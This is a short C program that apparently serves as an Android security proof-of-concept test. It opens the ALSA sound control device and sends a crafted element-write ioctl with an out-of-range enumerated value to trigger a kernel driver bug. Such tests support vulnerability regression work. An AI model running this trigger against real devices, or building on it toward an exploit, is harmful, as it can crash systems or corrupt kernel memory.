/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/mman.h>

typedef int __bitwise snd_ctl_elem_iface_t;

struct snd_ctl_elem_id {
    unsigned int numid;
    snd_ctl_elem_iface_t iface;
    unsigned int device;
    unsigned int subdevice;
    unsigned char name[44];
    unsigned int index;
};

struct snd_aes_iec958 {
    unsigned char status[24];
    unsigned char subcode[147];
    unsigned char pad;
    unsigned char dig_subframe[4];
};

struct snd_ctl_elem_value {
    struct snd_ctl_elem_id id;
    unsigned int indirect: 1;
    union {
	union {
	    long value[128];
	    long *value_ptr;
	} integer;
	union {
	    long long value[64];
	    long long *value_ptr;
	} integer64;
	union {
	    unsigned int item[128];
	    unsigned int *item_ptr;
	} enumerated;
	union {
	    unsigned char data[512];
	    unsigned char *data_ptr;
	} bytes;
	struct snd_aes_iec958 iec958;
    } value;
    struct timespec tstamp;
    unsigned char reserved[128-sizeof(struct timespec)];
};

int main()
{
    int fd;
    int ret;
    void *map;
    struct snd_ctl_elem_value arg;

    fd = open("/dev/snd/controlC0", O_RDWR);
    if(fd < 0){
	return -1;
    }

    arg.id.numid = 148;
    arg.value.enumerated.item[0] = 528;

    ret = ioctl(fd,0xc4c85513,&arg);
    if(ret < 0){
	return -1;
    }

    return 0;
}